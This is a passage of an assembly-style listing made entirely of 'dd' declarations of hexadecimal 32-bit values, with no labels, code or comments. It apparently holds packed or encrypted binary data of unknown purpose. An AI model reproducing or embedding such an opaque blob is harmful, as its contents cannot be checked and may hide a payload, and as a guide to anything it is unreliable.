0D5635A5Fh, 0EAE18043h, 12B36E81h, 0F2607627h, 0FE3C2CB2h dd 38C893CAh, 71417A90h, 0BE254E61h, 39DA2E21h, 0C5D0B97Bh dd 5E81F9F7h, 0E8076970h, 3E457E08h, 26F3299Fh, 95EF09D1h dd 0A849C87Fh, 0B2366227h, 2CA4BDF7h, 8DC8FE5Ch, 0A12B4CE2h dd 0B117FAA4h, 0EFD734F3h, 25F89535h, 4149BE8Dh, 0BC4F7F01h dd 914DCF9Bh, 7B3121AEh, 0F1EAB87Eh, 0B900C8FBh, 0C12E701Ah dd 9E004F0Ch, 0E906A05Dh, 0AE8D4B90h, 22728431h, 0E876316Eh dd 27DB4B7Dh, 0D5E7B25Dh, 0E96163D9h, 6D6B246Dh, 0CBF22FDDh dd 732AFFD3h, 0FC2075Dh, 0E8783485h, 53E06816h, 84C62161h dd 2DB1AD03h, 0BB0C93BAh, 42563304h, 91EA9FAh, 0F67443D1h dd 4940279Bh, 6B1665BFh, 3E024BCEh, 0DEB43194h, 66B8304Dh dd 3700D049h, 126CBF57h, 962956A8h, 0A05ECD4Dh, 68D0102Ch dd 0C9E9381Ch, 72D5823h, 41FB1385h, 0E1C0ED60h, 0BF4DB05Fh dd 7F951548h, 0E114D327h, 844C248h, 36086580h, 0E97209BDh dd 7E747902h, 0F80B95A0h, 0F82E1B4Fh, 0AA68164Bh, 4067A37Bh dd 2827E910h, 1647C54Bh, 8028C06Ah, 0F7E6A6CFh, 0F9886B0Eh dd 4CCB6B5Bh, 48B46347h, 633B795Eh, 0C84FACC3h, 2A28BD9Ch dd 9071DC2Dh, 2F63B3E2h, 0DED8EBC0h, 0E94B2A04h, 8EFA5A93h dd 0BF277E46h, 4C20463Eh, 0F38000D8h, 3FB65935h, 261B6819h dd 6725946Fh, 0E41324E8h, 344B9812h, 0BB36CB09h, 0BF5B8EF8h dd 5C259A2Fh, 27036D57h, 300C9A7Bh, 0FCD5348h, 0F840211h dd 0B3964066h, 121AC304h, 0B5FD6882h, 0C7490841h, 983AB871h dd 734422F7h, 511938B8h, 4A78AA2Fh, 93FD52D7h, 66974E60h dd 0E9250137h, 5B38E1F8h, 0C36FED7Bh, 18313C68h, 0B1AE65Dh dd 2B96297Fh, 3BC83044h, 0BE19D373h, 0CA015E16h, 755E38A4h dd 0C70F7EBAh, 0DEEB8AA1h, 0B0436D75h, 0A2D1E90Dh, 9B5450CCh dd 0C23AB450h, 0D00C5244h, 12751EC5h, 0FC55CB35h, 56A596F4h dd 48C37839h, 3E702602h, 0D7649F68h, 99C8051Bh, 3CEF095Ah dd 0B951A05Fh, 586B1673h, 0E36F0162h, 0DA52EB49h, 0F00B9080h dd 0FF66511Eh, 6C16594Ah, 82BA3B01h, 0D89D7378h, 2D5B09BEh dd 4BF76B4Fh, 0E60FC82Fh, 7F9E9842h, 12A809BFh, 3CDFE929h dd 888498BDh, 4BA368FAh, 0EC603116h, 7BD13169h, 0AAC654E8h dd 0C522477Ch, 9EC0B501h, 0A14F4EC0h, 97BE0984h, 0AE3B6597h dd 0E9305539h, 6C2B02F9h, 4C7CE926h, 0BF83DE54h, 13B2844h dd 290C5F0Ch, 30F0317Eh, 0D99578B7h, 10AFE281h, 0EE97CFD1h dd 0EE3B6FA1h, 0F4687671h, 2C4EB778h, 0F32DE974h, 5EDD74FBh dd 9FB6812h, 0A25367BAh, 0AFA25564h, 0E6F51B9Bh, 20CB5908h dd 124B524Ah, 0FF5FBB49h, 0DF4521CBh, 309302C5h, 3F557A05h dd 0EBC5A6A3h, 7BAFE703h, 3D75C52h, 0E8FD99EAh, 3FF5DF49h dd 0E5EB3DD5h, 20834343h, 717908E1h, 0B734452h, 4FE45E08h dd 707DCCA2h, 91E9162Eh, 0C951ADC5h, 13E6C85Ah, 9CDABC11h dd 5733902h, 295EF331h, 7BE32DDAh, 0E913BFCAh, 2F92F153h dd 0BE4888F0h, 0BB5E13ECh, 3C879B71h, 1261BE2Eh, 430C6FF1h dd 0F83B2741h, 15398D82h, 0E9E01F62h, 0C6B5D4E1h, 0AF865179h dd 0C5E9A83Eh, 6ACD21DFh, 317F826Ah, 1A7E1FCAh, 35D3D0C4h dd 0F8135E5Ah, 0C7904F03h, 4C5D3E23h, 35B22317h, 0FFF40E8Bh dd 0B4A34913h, 4D57FA5Eh, 60B8DDBBh, 73409AF8h, 2082A429h dd 547F26B7h, 0CC06E02Fh, 26FD97A4h, 4B29A3C1h, 6AC7AE5Fh dd 5AED259h, 0C27961EAh, 699C0503h, 0E99F818Ch, 12162E0Dh dd 0B6B086FCh, 0C6603036h, 3EE9581Dh, 84C89C7Ah, 82DC1F75h dd 0A749CC32h, 70FC2828h, 0C8FAE44Bh, 5EBD5E86h, 0A868612Fh dd 32A62F6Ah, 2A39F796h, 2D0190E1h, 3AEA2F4Dh, 0B930E0D1h dd 0F2660269h, 34C1E965h, 0A103E164h, 29451F50h, 0D867EAC8h dd 0AB534E73h, 869812Bh, 4E6EBC7Dh, 819DC47Dh, 2A7C692Fh dd 6010BDCEh, 814B00DEh, 0D66673E3h, 0D20CC165h, 80568E40h dd 2999AC80h, 14DA01F8h, 2D6ADBE9h, 0AF642313h, 802B273Dh dd 0E90EB655h, 34D2BA7Dh, 3A04ABFh, 0BC7812C1h, 253C98Ah dd 72C9751Eh, 0F1AFBD53h, 166BD074h, 25040DEh, 0AA008272h dd 68973E48h, 68E1C12Ch, 7574C900h, 5ED15D16h, 47C90E9h dd 4A4BE5EBh, 4F15FBB8h, 0D44CE861h, 0E7F13A7Fh, 78089675h dd 99DD7E9h, 8D455720h, 0ACE7AD3Fh, 7C265CC2h, 2F99BDAEh dd 51977053h, 786C3107h, 7F71E281h, 669768D3h, 1109099Ah dd 0D762D389h, 6F160EC0h, 805F093Ch, 0F37F6EE7h, 9E94E908h dd 0EE8003B4h, 5AD82073h, 2FFAD3F6h, 5B0A664Dh, 4081F9C2h dd 6D05523Dh, 69C124Fh, 88070C08h, 5F518B69h, 5DF699C2h dd 0F59AE74h, 212F072Ah, 0D03674F9h, 420DB93Ch, 12757E3Dh dd 94CD054Eh, 0A704AB79h, 0AE43AB6Eh, 0B94C370Ah, 0E489DDA5h dd 5BF841DFh, 7A0EE82Eh, 8C2B9512h, 0E4C74501h, 0D805A4Ch dd 620256E7h, 28D0F729h, 140C6808h, 5193521Eh, 0C7804317h dd 480457BBh, 4476445Dh, 24C5DB77h, 0DCBB4A34h, 0B8715003h dd 37886616h, 0E15C41BEh, 0EC334B03h, 3CF8BF57h, 9E3AAC28h dd 0F679050Ah, 120F9622h, 0B2044A61h, 99240848h, 3A53AB16h dd 4449D1EEh, 23CD6E65h, 0B64D56E4h, 21EB83B7h, 0C09123Ah dd 0DE64B479h, 91CE007Ch, 524B3265h, 0DC31E925h, 49F1812Ch dd 2B85E37Bh, 7D42779Dh dd 84197C8Fh, 0C7F3020Eh, 3416AF94h, 68FE0BF6h, 5A17E654h dd 3C2EEACBh, 0CD2D6209h, 0A359FFA9h, 259F8B3Dh, 3B18DC71h dd 0B02F4ADh, 42D7BEBAh, 0A843FFA2h, 0FB57D3FAh, 0B4576B14h dd 699424D5h, 21F2837Ah, 7ED2D428h, 5004CD7Ch, 0ADE6AD68h dd 106BC318h, 0D095F308h, 6B60E91Fh, 1E770468h, 1C5CFAE9h dd 42AB2DFBh, 0C477DF0h, 753CF90Bh, 0E93F8A96h, 609C5FC7h dd 18B82568h, 2F8BABF1h, 83099103h, 90F69EE0h, 0F15A5E88h dd 0DC826B6Bh, 1732C04Dh, 29C41E4Eh, 0F502BCD1h, 7CE03928h dd 1214A25Fh, 0CD0E0FA5h, 4152DEE9h, 81B9C24Fh, 0E596592Dh dd 0E8FAD19Dh, 65B410ACh, 0DBBC2A5Eh, 5E8A9C5Fh, 7BE07013h dd 140D6001h, 0BC7F20F7h, 12F20756h, 5689F47Ch, 0D1BE16F4h dd 60EDC750h, 0FBFA42EBh, 0D8B659FAh, 453D3500h, 1721109Dh dd 85658C6h, 792F44AEh, 82811D21h, 5C266A17h, 683A7F60h dd 186DFD30h, 5B0A0BA5h, 46DDE14Eh, 5E48C53Fh, 89A027B8h dd 0A1CCD735h, 0BA595EA1h, 7ED78729h, 0D8E23744h, 5B078105h dd 0B23EC801h, 6146C1B0h, 25307690h, 1D878254h, 8D20A878h dd 7A7B870Ah, 3C4D3C5Bh, 0C0E2F402h, 0D8F24Bh, 31735E9Ch dd 92AEE9D0h, 5296D597h, 0F6528020h, 963739EDh, 0C7930FA5h dd 0E3F0B0A2h, 92CE595Bh, 0F01BE913h, 350948A7h, 41A45865h dd 9FE029A4h, 0F0210771h, 2B43935Eh, 0E4AF0257h, 7D9C0915h dd 956D8F22h, 17744A76h, 0FB366CE9h, 648365CCh, 0E1775572h dd 3EA561B0h, 0BE2E2D9Ah, 5F3EC073h, 12E3135h, 82050F3h dd 8B5BE915h, 94E949CBh, 1FE94A1Ah, 9208A382h, 5E55CAE2h dd 16C72566h, 40B6DFA5h, 0B000574Fh, 369C3AD9h, 62D5158h dd 1AEB53A4h, 0A7D19540h, 0ADCD15BEh, 4FE603EFh, 1D078438h dd 0C477B60Ch, 0E1BDE90Ah, 0A53478ABh, 532D0BBBh, 5875084Ah dd 5B5D3E51h, 9FFB6EA8h, 56E304D6h, 0D5044C57h, 21F8045Eh dd 96EEE2E8h, 0EF8156EFh, 5304E59Fh, 0BF80D1E9h, 2568B830h dd 31E69516h, 0DB47F401h, 0EBE3E943h, 55F19D2Eh, 101F0135h dd 207CE565h, 0DC50C78h, 0A5C2EA01h, 50FA5D9Bh, 7498B4A0h dd 81176706h, 120D94EAh, 0FADF14E9h, 524EA431h, 6284EE05h dd 0D47C43EFh, 0BC196E77h, 5BAA1C78h, 93B9FD2Fh, 0F3ED2CAFh dd 780A43h, 4DB66B9Eh, 0B942BB5Fh, 508EF82Dh, 0CC4313CAh dd 0BD530131h, 346BDD6Eh, 67BC617Fh, 84AD5D12h, 0D2CCA693h dd 0FCD62EBDh, 0AFB3B0DDh, 95FD9DFFh, 10DD2CF3h, 292F20h dd 3014C22Ch, 0F76A137Ah, 9E0209D2h, 55662175h, 2AFAD568h dd 70C8968h, 25084D68h, 0CB48B724h, 5901A502h, 9725570h dd 91C11DAh, 184DD514h, 0F7D2FCA6h, 0A8E9616h, 7BD58839h dd 3C52593Bh, 5AF518E6h, 4BADE973h, 0AF1AD0BFh, 43127B1Bh dd 810CE01h, 250E4C08h, 0BCBCD96Ch, 47D13A92h, 8505EE21h dd 7C05FA4Ah, 51698758h, 3D8D903Dh, 59C06F59h, 5C39F180h dd 2D76D408h, 54C128F7h, 7D8D5A8h, 0C704F803h, 464B125Dh dd 44B05000h, 0DBF67BB3h, 0D5B25203h, 98D3C280h, 0EA30D6EAh dd 88EB27E9h, 688B1D7Bh, 6ADADCA8h, 91D0258h, 0D612BEBh dd 2F4D78E2h, 5B805E5Ah, 523B1EB3h, 86892541h, 972B5BD5h dd 8A8C6E82h, 65D35C5Fh, 0C040BCEDh, 0AE6366C3h, 25F3EC3Ah dd 5C725F97h, 2338570Bh, 0BE90D7BEh, 0E46926E9h, 3C778465h dd 2E845E0Fh, 0A9EDAA84h, 0F1FE0D9Ah, 13503B08h, 0D2D8775Dh dd 525B6E8Ah, 57EC0627h, 933B0DBh, 4EC834EBh, 48C4C900h dd 0E690203Eh, 3C3AF804h, 57C05676h, 96B141Ah, 2C54E90Dh dd 0BAE0B3D6h, 0BDD32241h, 7005FF81h, 687FD6C5h, 9D640C63h dd 7927DFF9h, 7CFE957h, 671EE906h, 38B707B4h, 33BAE780h dd 0FA8120EFh, 4BC3E45Bh, 0EB0A20E1h, 0F0B55AEAh, 109CE7DCh dd 24C83DCAh, 0AF2CAD0Bh, 4ECC1686h, 0D7F9F62Dh, 0A566C18Fh dd 3951637h, 7C0D1DC0h, 894769D4h, 5084EE0h, 5B42EC12h dd 0E9C4B4EFh, 0C5ADD425h, 5FA60839h, 0F998F02Dh, 0AD1D9711h dd 0E69E5F16h, 5BFF5C4Dh, 0AED234B3h, 8E6CC046h, 0C46DEA48h dd 0EFC4FE55h, 0AA809A83h, 32C3F543h, 8146849Ch, 57CB978h dd 0FD7B02FAh, 7610227h, 21528BCh, 7B4D24BEh, 7DC15537h dd 6B2B6515h, 0E96A4BB1h, 91E4D2F5h, 0EA024AC2h, 0AF0BAF9Ah dd 2A48E9C8h, 0E0EBEAC1h, 5FDF3D50h, 215C6A6h, 79EF02FDh dd 4029096Fh, 1F055152h, 18C1123Bh, 47931E04h, 21DB4A12h dd 1CB00B0h, 29176F30h, 7E35ACE9h, 0A750D4CEh, 0B81C40D9h dd 0FE62560Bh, 0C45606h, 6EB2B951h, 810232C1h, 824AC5F1h dd 42AD8979h, 1071FF87h, 1FF15DDAh, 26A6288h, 3D4661BAh dd 82C0E192h, 7044F0Ah, 99CCE918h, 5BF52FAh, 0CAC60950h dd 0EF884E21h, 81CBC074h, 0CA451FF2h, 0D7294217h, 0ACBE7E03h dd 0FC829571h, 0ED6070C2h, 0ED3B8F65h, 336526D5h, 58946884h dd 4F3001E9h, 0B8578B15h, 31995097h, 916D30Bh, 2A9561D8h dd 0C5292220h, 255D0095h, 4F2A0779h, 34E77CE9h, 0C6A259C0h dd 5C91FE77h, 6C5701A1h, 5F6D0F1h, 3E4A69ABh, 4003FF0Ch dd 82F81622h, 2F03AB29h, 9A1F152Dh, 20897E2Ah, 53A1BC07h dd 6BB16FF3h, 2D7A947Ch, 0A7552E07h, 5ADD5617h, 0E7281DEDh dd 3280B77Eh, 7703398Fh, 6B4B5DFAh, 6549B0F2h, 624D2D7Bh dd 0C22BB119h, 68AF30D7h, 34545E9Dh, 0FDA2FF78h, 0B7E96197h dd 8FCC3B3Fh, 50BD405Bh, 64B2B800h, 0F92562D4h, 0ACA74B01h dd 20B40512h, 0A0017318h, 764C7E30h, 0D0820502h, 0F6559D24h dd 0C906B70Dh, 0C91C5C80h, 339CE20Eh, 8A44351Eh, 0DC82C0A0h dd 5F48C4AEh, 0EE08B44Eh, 0BD333C04h, 72825868h, 6246F645h dd 0C42B1C42h, 2F95903Bh, 72A15CA2h, 60624EC1h, 7240A9B1h dd 6FD20FB8h, 0D65E4A8Ch, 0A680A46Eh, 7A31CF41h, 0A2247941h dd 0E2AD3B31h, 0E99381FFh, 26872260h, 3AFD3166h, 0A20267A4h dd 78DDEDD1h, 0BD564F46h, 0A3F54F79h, 0B62F0030h, 43EA89F7h dd 0C880EE51h, 0F72C863Ch, 69E3B5D0h, 75EFB4E5h, 0A8891E41h dd 46D12912h, 0D620163Fh, 8B8454A2h, 1D73BF2Eh, 2585E451h dd 68EB88EEh, 5ADEC3A2h, 0FA15AE61h, 0AD19F03Eh, 0DF290DC1h dd 6B7CBFE9h, 0EF1E5248h, 38EAC29Fh, 0ED88CF01h, 62F32708h dd 5940B92Eh, 5A76856h, 0E93E1B34h, 0BDCFA05Ah, 2D50C31Eh dd 0D40A92E4h, 4BDAF42h, 0E23077B4h, 0F20181FFh, 6E6C60BDh dd 61872F97h, 0BE69EA13h, 4B8F17C0h, 2C37ED3Eh, 0BB80558Eh dd 76425FEEh, 0C87109B8h, 9FF9352h, 3582F539h, 0EC83B95h dd 55B45FFDh, 0F0FB7F5Ah, 20D9E4A5h, 7EFB19E5h, 56BC4471h dd 0F28DF710h, 17D88724h, 12EBF634h, 0C536ED20h, 0D299DD29h dd 0E9C2E02Ch, 54076861h, 0DFAC6664h, 1255BE02h, 28621C44h dd 0D327F877h, 33D7BF0Ch, 381D1AC0h, 92E92620h, 0E5088299h dd 0D655048Bh, 6C3FD1A2h, 0F55724AFh, 49224C0Eh, 85F0767Eh dd 41B2FEE9h, 0A05C83B0h, 4685E80Ah, 0C2BDAC9Ah, 0AB368233h dd 3566552Bh, 0F005FCBFh, 0F388E2A9h, 0AF2E173Dh, 0E09BA113h dd 8A4E4E7Ch, 0E682C5B0h, 0A8604E25h, 5C5550CAh, 0E3B5E0F0h dd 954EF688h, 85C4272h, 0B54C24A8h, 477B7AC0h, 0E6E91333h dd 41B78DD9h, 329D9A1Fh, 52421F04h, 0AF2C5BFEh, 0F24A27E9h dd 1444B359h, 1618D544h, 227787FEh, 765FE830h, 6B8FC3E6h dd 5C052625h, 7E5B9CD1h dd 181A6070h, 4E6D6855h, 5D779616h, 8104DC18h, 17696BF5h dd 11838477h, 0B93EE2A1h, 0C7D5CAD0h, 79994830h, 5D392ED6h dd 453F0046h, 0D9F75908h, 0AD2E912h, 4C526E4h, 0C15F1D28h dd 0B23FC2E3h, 0B7FC4E58h, 4EB52F06h, 98A6FD30h, 0D8719D58h dd 0E0CACBCFh, 0A15166FEh, 0ED144D88h, 0C8FBF58Dh, 7A4FE95Eh dd 555FA8C2h, 30280BDBh, 0C15B0224h, 7647688Eh, 98F4A8Ch dd 217E562Eh, 3FAF4A72h, 86C8F5A9h, 894F9E0Eh, 1E7285E4h dd 0EA73810Bh, 5B0804B6h, 0BA3E48F0h, 8ED1BD84h, 0DB2DC3EDh dd 6F7BA1E4h, 0ADD0E7B3h, 0B4C82E8Bh, 0F9954F9Dh, 897BFE0h dd 87F22141h, 0B0660EAh, 0F8F9C082h, 91FD2C7h, 57D25D37h dd 7AE1F506h, 1C38031Ah, 2D34BDE9h, 0C56B125Fh, 52689C77h dd 82AD3714h, 0C3B20982h, 4B4E725Fh, 5BAF0970h, 0A03AB973h dd 9F681234h, 5DD3600Ah, 653FDD1Fh, 11C91750h, 5788F3A9h dd 0C3315F07h, 5A2C4383h, 73FBACAFh, 0A70CFEB0h, 0F878336Bh dd 71714150h, 0F5A22B09h, 4B74B2C1h, 0F189457Eh, 0AD073133h dd 0F017D422h, 125BA868h, 5456AF30h, 527C1EF7h, 0B4FA57E9h dd 0E2BDDE40h, 9A3E771Bh, 71A6810h, 1D3CE909h, 0AB9706D2h dd 80E945EEh, 7F7809DBh, 0C09DF301h, 116CF08h, 0FB3185E8h dd 80DE215Fh, 3526EEF8h, 5BE96958h, 0DD2049FDh, 98051509h dd 7A8CC205h, 5525B874h, 35FF661Eh, 8BA22D50h, 61505459h dd 7AFE875Fh, 0F6818A01h, 3BC83D4Fh, 0C688C14Eh, 44F73613h dd 0E7F25DAh, 0EB162BECh, 65EC5ECDh, 92E596CAh, 0E294675Dh dd 5881C2A8h, 7B7C9BB1h, 0B968A0A0h, 886F4A8Dh, 800B13A3h dd 0B36E84C1h, 50552093h, 9EDBCBBh, 0FB79C81Ch, 4EC0FE01h dd 0EF01F45Eh, 5D080082h, 0B74CEBE9h, 7F44AD69h, 6C202BF3h dd 4B39F0BFh, 0E152EC8Bh, 5A2D5954h, 0AE5BD984h, 7583CE7h dd 0AE15A984h, 40470E41h, 77204A03h, 15487144h, 0B1DEF70Ch dd 0EC5C2C04h, 0D8BF823Dh, 7E624707h, 0B914FDF8h, 1134A419h dd 0D290C57Eh, 0A0F14E7Ah, 35060680h, 8EC7A4B7h, 0E9E48195h dd 0FF32531Ah, 0EB800207h, 48C3333Dh, 702E0620h, 1F1B879h dd 4F0C31B0h, 0F518B252h, 290B30EAh, 0BD820860h, 60EC3ECFh dd 16858C7Dh, 0E5EC68B4h, 281F7939h, 0D17EDC33h, 0DF095598h dd 577763FBh, 0B7344B09h, 1E835248h, 220447D3h, 17C7FA89h dd 8D74C3Eh, 0AA7F25E9h, 339A2FE8h, 2EF645ECh, 214F114Fh dd 6815A405h, 518EB700h, 0DF45FB1h, 0A02D1D48h, 0FC59EB28h dd 1CE36451h, 5E59BDBEh, 66450097h, 0C34528AFh, 9BF93D09h dd 0FD18863Ah, 0C6801C6Fh, 0B0F6CF12h, 0D42C5C64h, 0B2B4AA78h dd 0CD2E5AD0h, 10273A93h, 7A5514E2h, 58FA3AE9h, 9AF073Dh dd 0D35CFC01h, 3B4175E0h, 88D315B6h, 564AE9C6h, 72B86A09h dd 4D5EB74Ch, 0FB18CB12h, 3B2FC6C8h, 0FACA7CD6h, 95A15D8h dd 10DA9CEh, 0B041744Ah, 0DADB2531h, 6DA86040h, 0B8046E00h dd 47540C6Fh, 0E9F00B01h, 6DA9E6B6h, 12668CFFh, 0DF318053h dd 0E7049590h, 2F98699Dh, 5C0981BCh, 7A59679Fh, 0A766CB01h dd 0B86A0542h, 0C3E90C31h, 2DE65740h, 956C8468h, 9F55E701h dd 4FD7F74Dh, 17C906ACh, 9FEBA328h, 942E9C89h, 0DDE89798h dd 824ACBh, 5F291FB0h, 0B399003h, 6CDC23F4h, 273CB15Ch dd 5AA35868h, 0EB3CBE33h, 5AB41750h, 0B306E088h, 8064305Ch dd 4E5D102Ch, 80E85B29h, 6C5FBD22h, 11B5385Bh, 67A90804h dd 0BC2A3B12h, 2644C6DEh, 0D3EA07C5h, 60616B73h, 0DE1DBFE2h dd 6C2B4C0h, 1A39AC19h, 2EF03FE9h, 5E9C4F70h, 2F7B1C02h dd 10644078h, 0EF9DC908h, 6093C8FFh, 2E5E9D44h, 11176840h dd 0E1104B65h, 0AF15DD03h, 2CF0640Eh, 9235D8E9h, 293DEE5Ch dd 5194713Ah, 59094168h, 0CFCFED57h, 42FEA501h, 5580C95h dd 595F0640h, 3B4D9D01h, 0B6DDE98Ah, 172058BFh, 0BB31CEAAh dd 686E505Ch, 0D5985813h, 6C094FE2h, 2C5834Ah, 0F308ED9Dh dd 0BF41D71h, 0BAC0759Ah, 0F2B931D5h, 0C6E85E0Bh, 0F77CB7FBh dd 0D26A4163h, 0F0304376h, 0F0690C66h, 4DF806E1h, 0E412AEAh dd 7A504925h, 2AF89DE1h, 0E8324002h, 60F93186h, 9552C76Ah dd 552498F7h, 732AC053h, 0BB273641h, 8B79E903h, 2FFB293Fh dd 0B8F08334h, 570F32BFh, 425B1B7Ah, 60EAA5h, 0A1251805h dd 3AFB0C5Fh, 8E68C626h, 94C5962Fh, 0DF89EB0Bh, 7B529481h dd 0F3FC4150h, 2C0DA456h, 9092E904h, 0B1C7BCABh, 35F86852h dd 0E9771BE2h, 58034ABh, 653D3036h, 72C51328h, 5EF2B122h dd 6EC2802Fh, 684EB0E6h, 0C8AF1F4Bh, 5A5C5D65h, 14C97594h dd 7F2A66BFh, 0A331FDC3h, 697E12Bh, 58B25C08h, 48C70520h dd 0B812A6B0h, 6FDEC95Ah, 515C3A9h, 0D29E68B4h, 587BB00Fh dd 6BFD6815h, 6134504Ah, 12F44E01h, 6E9C2FBAh, 1E1F5EF6h dd 562092E9h, 30311748h, 9C305C3h, 0FC467426h, 144DC2Fh dd 7EB06C7Ch, 0C465C4BFh, 95E93809h, 0DC939A0Fh, 0E84C254h dd 7B55101h, 3E00BC2Eh, 0AD7BA7BFh, 0E92E887Ah, 72C3046Ch dd 2CD04647h, 1F542B6Ch, 0F908EAC1h, 0FDD9A80h, 5AD02191h dd 0ED7C0505h, 50C34115h, 0E9BF0958h, 0AFD3C6BDh, 4F8FD0A5h dd 0B908804Ah, 863D54C6h, 670C1346h, 998062BFh, 0C8AAA351h dd 58FA7697h, 0B190555Eh, 8D57010Eh, 1621D973h, 945CF8E0h dd 4E072019h, 81D0AA59h, 5C9F2DCBh, 66005D3Dh, 0E9130729h dd 3EB9E49Bh, 0E0036B3Ah, 5AB33984h, 1C31BF6Ch, 463A7699h dd 0B526B290h, 0AD5EE37Dh, 1B4291F1h, 0AB345D1Ch, 0F8F2E925h dd 20CB992Ah, 0B42C1DFAh, 2EE3807Eh, 0E937020Ah, 4837EF4Dh dd 48F246B4h, 0C2E00BAh, 0D7013A6Ah, 552CC853h, 0A00DCB26h dd 72442918h, 0AF4FF1AFh, 0A53CDC0Fh, 4B138345h, 0D1FF1E00h dd 622668EBh, 6248F36Fh, 0DAB7FBC4h, 0A1524E3Eh, 0D18A2B08h dd 0CE812DCh, 0E6F55AD0h, 2D4C0358h, 0B638B96h, 32EF0F93h dd 0B5FF3BBh, 0D73AAE68h, 0ACD182B3h, 5D303B5Ch, 4C201FF9h dd 0D5248F6Eh, 0EF7A162Bh, 0E1063792h, 33923730h, 3F61AAE5h dd 0AA042870h, 809248BDh, 0C61E91E4h, 0EF0A5Eh, 29AF563h dd 0A72C6849h, 166A7274h, 7273AE00h, 0C2FB807h, 29EC7C28h dd 96592BF6h, 0C04B9E4Fh, 812DDEABh, 36203F46h, 0EEC2DB29h dd 7EE90881h, 34893FA5h, 0D77813Eh, 6F49F511h, 5B83F314h dd 55D4BAB9h, 0B449AA01h, 21CD012Ah, 5908023Eh, 294F214Ch dd 0E94142BFh, 37AF6CE8h, 0D3D8640Bh, 808EB200h, 0B0504AE2h dd 0F6509F95h, 8697F6ECh, 5E2E0411h, 5A0DB84Eh, 41532768h dd 6C0B3AB9h, 0D1C257C3h, 9820C6DAh, 274A7689h, 0DD9C6EBEh dd 0F44926FCh, 854351CFh, 0E4F78055h, 0A09642A0h, 3DD6D244h dd 0DB90B9A4h, 0B6BA0156h, 313D9110h, 0D2E9AC3Ah, 0F8CC77A1h dd 1032002Dh, 565F69D0h, 0D4993E9h, 404E9E65h, 0A6EA1251h dd 0DEF4C53Bh, 5AA2A4ACh, 0C9E9D5B0h, 162B585Dh, 0BC2D5456h dd 17BC2E84h, 0E141C09Eh, 75901231h, 282C37A0h, 770C5B27h dd 0B27C6FE2h, 9979E20h, 6D1558Ch, 0EFF049h, 54D67744h dd 3CE36853h, 0A79218BDh, 595A8649h, 0C9DFBEACh, 0DAF2F761h dd 0AF5144F4h, 7568349Ah, 0CAAE414Bh, 0D8307DB7h, 0F75F0A29h dd 0B7CC9DDFh, 8103FF60h, 918F6EFh, 15E9669Ah, 0BF4A3ACh dd 58963210h, 0FDFFF90Eh, 0F0DCE942h, 71AC455h, 0E68F51EEh dd 0B129D4C5h, 0A9E26F50h dd 39F76882h, 6CB72666h, 50BC2F26h, 587C0F6Eh, 139AC45Dh dd 8CD8F131h, 0BB28440Ah, 870EF004h, 17F42129h, 8E501861h dd 2CB8C427h, 0E9352E05h, 0A1203ED3h, 17195414h, 0C0EF0145h dd 92F0CE3h, 0F84EC479h, 0B35F00A6h, 0E5EC5EE7h, 0B03F2F55h dd 5C79B72Ah, 0FE351A02h, 5DBE0F02h, 0DBF7D040h, 0BC315197h dd 4F38D32Ch, 60979961h, 0BCD77402h, 8FA48741h, 0AF7812CEh dd 5125D2F3h, 465AD25Eh, 5FF92727h, 0D7A9FD64h, 30D53434h dd 28611CB8h, 2EEB8096h, 865139F9h, 0D9FBF488h, 0B3FBFBE4h dd 32F6F1FDh, 14FC1874h, 0A454DB59h, 9D18C81Dh, 6FF18107h dd 9C7B9844h, 0B13F8418h, 0FE0AB654h, 19DDB800h, 0BE294400h dd 2A94337Eh, 0E9C61631h, 0AD93400Dh, 0C4501805h, 0D801290Fh dd 7BD79F57h, 0F00423C0h, 2CD03A28h, 0D8BF5A39h, 9D4A2313h dd 6A74972Ch, 0ED3B0AB1h, 1805D29Fh, 8DAAE5D8h, 0A354E442h dd 8A8C10DFh, 7CD10A0Ch, 0CEFB5DEEh, 0C218675Eh, 0F86AA846h dd 49F62375h, 0F2EB851Ah, 5FFA85F7h, 386889B0h, 0BF4A4F5Ch dd 0C555FD8Eh, 20016D7Ah, 66BF29DBh, 0EA1263Eh, 57E68EB9h dd 30AEC661h, 14A6F4F5h, 95E81ADDh, 0ADC4314Ah, 9242FABh dd 6B4B2EE9h, 1CD2A8A2h, 0C2311CD1h, 3A00E558h, 2B976CA0h dd 0FC9DE926h, 6929BA87h, 0FCBA19E4h, 0B5811A15h, 64708EA1h dd 0A9EF0FC3h, 86E9C2C3h, 0FC797FACh, 68515581h, 7ACC0E99h dd 0EBE91659h, 6F2B9D85h, 6913CD4Dh, 9FD99551h, 0FC97BF01h dd 3CF41201h, 75600997h, 0DC55A312h, 0B895851h, 0BF2D5E80h dd 9099D2h, 86635BFAh, 0C1C2EACDh, 8C6B6728h, 50793A3Ch dd 0CD1E8190h, 25040C04h, 8282EDD1h, 4039DE55h, 0B252D4F6h dd 0CAFE6A1Ch, 0E7444CB7h, 93208437h, 1AF0BAB8h, 3EB02398h dd 2519DC95h, 6680135Eh, 0E94EAA5Ah, 6889A892h, 0E17B54A3h dd 3A809551h, 0E681FE87h, 703EA209h, 0DAD08312h, 266A9621h dd 9D464BDFh, 3599C9D9h, 0C30132A2h, 7C5D494Ah, 91815CBAh dd 0B25303AEh, 95A858A3h, 74DA2957h, 1CF7E95Dh, 0A8875B5Dh dd 1C9AD3D0h, 0AB5A0C4Dh, 92A6322Ch, 85B27E3h, 6CA04DFh dd 0D70B2782h, 30269218h, 42645B0h, 5C12B9A0h, 0D731B662h dd 28582A23h, 0D420282Dh, 4DA94234h, 7F895E02h, 8EC073ECh dd 0D70D36EBh, 0FB012E17h, 0BD0822F3h, 734A1858h, 0B468E7C0h dd 3F16B77Dh, 7BE5648h, 6F447A8Fh, 4B689CEh, 9BC1296Eh dd 0A0052F23h, 53B755ACh, 830B6B4Ch, 5A30E6DBh, 4C437CAh dd 5F6C2D73h, 180FE9Ch, 5A27D85Ah, 0EC5D124Ah, 0C8E5F08h dd 1CB5A150h, 0AEB7539Fh, 65718FAh, 0D778F6B4h, 2FB1C758h dd 0DD836271h, 57957816h, 203A8E15h, 0A92D4B0Dh, 755E27D1h dd 0B12436E4h, 209FF609h, 4533524Fh, 0AFE89E3Fh, 1CE165DBh dd 0AECC6B40h, 0EC355EBDh, 0DE13827Eh, 1A89FD48h, 8C17A0DDh dd 0BD721ECCh, 0DCC19DBh, 0E25C955Ch, 0AB4EDDCBh, 0EC5A6998h dd 0F1E6251Dh, 0BDF9755Ah, 1714963h, 169F6CE5h, 2FFD319Ch dd 925D4A98h, 427C97BEh, 6D243851h, 7725BD5Ah, 0CBF60005h dd 14735C5h, 0DD4FE9F8h, 